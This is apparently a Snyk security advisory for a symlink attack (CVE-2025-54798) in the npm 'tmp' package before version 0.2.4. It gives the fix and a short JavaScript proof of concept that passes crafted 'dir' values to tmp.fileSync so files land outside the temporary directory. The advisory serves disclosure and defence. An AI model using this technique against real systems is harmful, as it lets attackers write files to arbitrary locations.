Symlink Attack Affecting tmp package, versions <0.2.4
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-JS-TMP-11501554
- published7 Aug 2025
- disclosed6 Aug 2025
- creditAlessio Della Libera
Introduced: 6 Aug 2025
NewCVE-2025-54798 (opens in a new tab)How to fix?
Upgrade tmp to version 0.2.4 or higher.
Overview
Affected versions of this package are vulnerable to Symlink Attack via the dir parameter. An attacker can cause files or directories to be written to arbitrary locations by supplying a crafted symbolic link that resolves outside the intended temporary directory.
PoC
const tmp = require('tmp');
const tmpobj = tmp.fileSync({ 'dir': 'evil-dir'});
console.log('File: ', tmpobj.name);
try {
tmp.fileSync({ 'dir': 'mydir1'});
} catch (err) {
console.log('test 1:', err.message)
}
try {
tmp.fileSync({ 'dir': '/foo'});
} catch (err) {
console.log('test 2:', err.message)
}
try {
const fs = require('node:fs');
const resolved = fs.realpathSync('/tmp/evil-dir');
tmp.fileSync({ 'dir': resolved});
} catch (err) {
console.log('test 3:', err.message)
}